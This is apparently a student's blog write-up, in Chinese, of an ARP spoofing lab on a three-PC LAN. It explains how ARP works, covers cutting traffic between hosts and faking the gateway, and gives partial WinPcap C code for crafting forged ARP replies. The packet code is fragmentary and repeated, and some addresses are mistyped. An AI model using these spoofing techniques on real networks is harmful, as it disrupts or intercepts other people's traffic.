區域網內實現ARP攻擊

shuaishuai3409發表於2016-01-27

一、ARP工作原理

網路中每臺主機都會在自己的ARP緩衝區中建立一個 ARP列表,以表示各主機IP地址和其MAC地址的對應關係。當源主機需要將一個資料包要傳送到目的主機時,會首先檢查自己 ARP列表中是否存在該 IP地址對應的MAC地址,如果有﹐則在傳送資料包中設定目的乙太網地址和目的IP地址為表中對應地址。

如果沒有,就向本地網段發起一個ARP請求的廣播包,查詢此目的主機對應的MAC地址。此ARP請求資料包裡包括源主機的IP地址、硬體地址、以及目的主機的IP地址。網路中所有的主機收到這個ARP請求後,會檢查資料包中的目的IP是否和自己的IP地址一致。

如果不相同就忽略此資料包;如果相同,該主機首先將傳送端的MAC地址和IP地址新增到自己的ARP列表中,如果ARP表中已經存在該IP的資訊,則將其覆蓋,然後給源主機傳送一個ARP響應資料包,告訴對方自己是它需要查詢的MAC地址;源主機收到這個ARP響應資料包後,將得到的目的主機的IP地址和MAC地址新增到自己的ARP列表中,並利用此資訊開始資料的傳輸。

當然,若該網段沒有目標主機對應的IP地址,則將該資料包傳送給該網段的路由器,路由器解析目標IP主機地址,找到目標主機所在網段的路由器,在其網段上進行ARP請求的廣播,找到目標主機。

考慮到當前網路中反ARP攻擊技術已經非常成熟,例如360安全衛士、WINDOWS防火牆等,故本次作業只在3臺電腦組成的區域網內,關掉防火牆進行ARP攻擊實驗。


二、ARP攻擊原理

ARP攻擊分為二種,一種是阻斷乙太網兩臺主機通訊的資料包;另一種是對內網PC的閘道器欺騙,使被欺騙PC不能聯網。

第一種ARP攻擊的原理是——阻斷主機間通訊資料。攻擊機首先得獲得通訊主機IP地址,然後將偽造的MAC地址封裝進資料包,回覆給源主機,並且按照一定的頻率不斷進行,使真實的地址資訊無法通過更新儲存在源主機中。這樣,源主機只會將資料包發給偽造的MAC地址,造成正常PC無法收到資訊。

第二種ARP攻擊的原理是——偽造閘道器。它的原理是建立假閘道器,讓被它欺騙的PC向假閘道器發資料,而不是通過正常的路由器途徑上網。


2.1阻斷主機間通訊

區域網內,一個交換機連線了3臺機器,假設依次是計算機A,B,C。

A的IP地址為192.168.1.1

MAC: AA-AA-AA-AA-AA-AA

B的IP地址為192.168.1.2

MAC: BB-BB-BB-BB-BB-BB

C的IP地址為192.168.1.3

MAC: CC-CC-CC-CC-CC-CC

假設主機A要給C傳送資料,且主機A的arp快取表中有主機C的IP-MAC對映表,主機B為攻擊機。正常情況下在A計算機上執行arp –a查詢ARP快取表應該出現如下資訊: 

介面

192.168.1.1

0xc

Internet 地址

實體地址

型別

192.168.1.3

CC-CC-CC-CC-CC-CC

動態

 

在計算機B上執行ARP攻擊程式,來傳送ARP欺騙包。B向A傳送一個自己偽造的ARP應答,而這個應答中的資料為傳送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本來應該是CC-CC-CC-CC-CC-CC,這裡被偽造了)。當A接收到B偽造的ARP應答,就會更新本地的ARP快取(A不知道被偽造了)。而且A不知道其實是從B傳送過來的,A這裡只有192.168.10.3(C的IP地址)和無效的DD-DD-DD-DD-DD-DDMAC地址。

欺騙完畢我們在A計算機上執行arp -a來查詢ARP快取資訊,原來正確的資訊現在已經出現了錯誤。

介面

192.168.1.1

0xc

Internet 地址

實體地址

型別

192.168.1.3

DD-DD-DD-DD-DD-DD

動態

上面例子中在計算機A上的關於計算機C的MAC地址已經錯誤了,所以即使以後從A計算機訪問C計算機這個192.168.1.3這個地址也會被ARP協議錯誤的解析成MAC地址為DD-DD-DD-DD-DD-DD的,造成兩個主機不能進行通訊。


2.2偽造閘道器

當區域網中一臺機器,反覆向其他機器,特別是向閘道器,傳送這樣無效假冒的ARP應答資訊包時,嚴重的網路堵塞就會開始。由於閘道器MAC地址錯誤,所以從網路中計算機發來的資料無法正常發到閘道器,自然無法正常上網。這就造成了無法訪問外網的問題,另外由於很多時候閘道器還控制著我們的區域網LAN上網,所以這時我們的LAN訪問也就出現問題了。


三、ARP攻擊程式

平時基於Socket的網路程式設計,底層的資料幀格式對於使用者來說是透明的,若想進行底層網路協議開發,需要自己指定幀資料內容。基於捕獲網路資料包並進行分析的開源庫WinPcap,在Windows平臺上,進行以下任務:捕獲原始資料包;在資料包傳送給某應用程式前,根據使用者指定的規則過濾資料包;將原始資料包通過網路傳送出去。


3.1 阻斷主機間通訊

下載和WinPcap相關的開發包WpdPack,安裝WinPcap.exe。C-Free開發環境下,需要匯入WpdPack解壓目錄下的include和lib目錄,加入連線庫wpcap.lib和 packet.lib。不過除錯了半天總是出現ld.exe下找不到wpcap.lib和packet.lib的問題,故直接將lib檔案匯入工程檔案下的Source File檔案中,同時將WpdPack的include和lib目錄複製到C-Free的安裝目錄mingw資料夾下的lib和include目錄下。

阻斷主機間通訊的ARP攻擊步驟為獲取裝置列表-選擇合適介面卡-開啟介面卡-填寫資料幀,併傳送資料包。

Ø  獲取裝置列表

假設攻擊機為主機B,所有操作均在主機B上進行。獲取裝置列表即獲取B上可以使用的網路介面卡,因為所有的資料都是通過它傳送的。可以使用pcap_findalldevs()函式來實現這個功能: 這個函式返回一個pacp_if()結構的連結串列,其內容包括介面卡的名字name和詳細描述descrition等資訊。其有兩個引數,alldevs儲存返回的網路介面卡的資訊, errbuf以字串的形式儲存錯誤資訊。

/* 獲得裝置列表 */

if (pcap_findalldevs(&alldevs, errbuf) == -1)

{

fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);

exit(1);

}

/* 列印列表 */

for(d= alldevs; d != NULL; d= d->next)

{

printf("%d. %s", ++i, d->name);

if (d->description)

printf(" (%s)\n", d->description);//列印所有介面卡的詳細資訊

else

printf(" (No description available)\n");

}

if (i == 0)

{

printf("\nNo interfaces found! Make sure WinPcap isinstalled.\n");

return 0;

}

試過之後,在這裡選擇第一個介面卡,因為只有第一個可以捕獲資料。


Ø  開啟介面卡

開啟介面卡以便進行資料包傳送。用到pcap_open_live(a,b,c,d)函式,a表示介面卡名字,可通過獲取裝置列表函式獲得,b為捕獲資料包中的資料長度,最大MTU為1500,在乙太網上只要比它大就行,這裡設定為65535,意為能捕捉到完整資料包。

printf("Enterthe interface number (1-%d):",i);

scanf("%d", &inum);

/* 跳轉到選中的介面卡 */

for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

/* 開啟介面卡 */

if ( (adhandle= pcap_open_live(d->name, 65535,1, 1000,errbuf ) )== NULL)

{

fprintf(stderr,"\nUnable to open the adapter. %s is notsupported by WinPcap\n", d->name);

/* 釋放裝置列表 */

pcap_freealldevs(alldevs);

return -1;

}

Ø  填寫資料幀,傳送資料包

ARP分組格式長度42位元組,乙太網最小長度要求為60位元組,故需要對每一資料幀末尾填充字元。ARP分組如下格式所示:

乙太網目的地址/6

乙太網源地址/6

幀型別/2

硬體型別/2

協議型別/2

硬體地址長度/1

協議地址長度/1

Op/2

傳送端乙太網地址/6

傳送端IP地址/4

目的乙太網地址/6

目的IP地址4

主機A想和C進行通訊,但沒有C的ARP快取表。故先進行全網廣播,想找目的IP地址為C的MAC地址,關鍵ARP分組資料為:

乙太網目的地址:111111(全1表示廣播)

op設定為1,表示ARP請求

目的IP地址:廣播ip地址,192.168.1.255

其餘按TCP/IP詳解(卷1)來設定,最後要在資料包43~60位填充0。

packet[6]=0x0e;

packet[7]=0x07;

packet[8]=0X62;

packet[9]=0x00;

packet[10]=0X01;

packet[11]=0x12;

/* 幀型別,0806表示ARP協議 */

packet[12]=0x08;

packet[13]=0x06;

B和C接收到廣播資料後,進行IP地址比對,B直接忽略,C回覆將自己的MAC地址填充進去,將傳送端地址設定為C,目的地址設定為A,op值設定為2,表示ARP請求回覆。op值為2時,前12個位元組等於分組後面的目的乙太網、目的IP地址。

u_char packet[60];

printf("輸入被攻擊方的MAC地址(如FF-FF-FF-FF-FF-FF則為廣播)\n");

scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[0],&packet[1],&packet[2],&packet[3],&packet[4],&packet[5]);

/* 乙太網源地址,當然是假的 */

packet[6]=0x0e;

packet[7]=0x07;

packet[8]=0X62;

packet[9]=0x00;

packet[10]=0X01;

packet[11]=0x12;

/* 幀型別,0806表示ARP協議 */

packet[12]=0x08;

packet[13]=0x06;

在主機A執行arp –a後,會顯示C的ip和mac地址。

主機B攻擊主機A,將傳送端乙太網地址設定為DD-DD-DD-DD-DD-DD,傳送端IP地址為主機C的IP地址,目的乙太網地址和目的IP地址設定為A的,幀型別設定為2,表示ARP請求回覆。

packet[6]=0x0e;

packet[7]=0x07;

packet[8]=0X62;

packet[9]=0x00;

packet[10]=0X01;

packet[11]=0x12;

/* 幀型別,0806表示ARP協議 */

packet[12]=0x08;

packet[13]=0x06;

當A收到B的資料包後,會更新ARP表;在主機A輸入arp -a後,主機A的ARP表進行更新,顯然是錯誤資訊。由於區域網是利用MAC地址進行資料傳輸,故主機A查詢arp表後,只會把資料傳給MAC地址為DD-DD-DD-DD-DD-DD的主機,顯然無法正常傳輸。當把MAC地址改為B的後,資料會傳到B這裡來,而A認為是一直再給C傳。


3.2 偽造閘道器

和阻斷主機間通訊一樣,若目的IP改為閘道器IP地址,目的MAC地址改為B的,這樣主機A一直給B傳送資料,顯然上不去網。

相關文章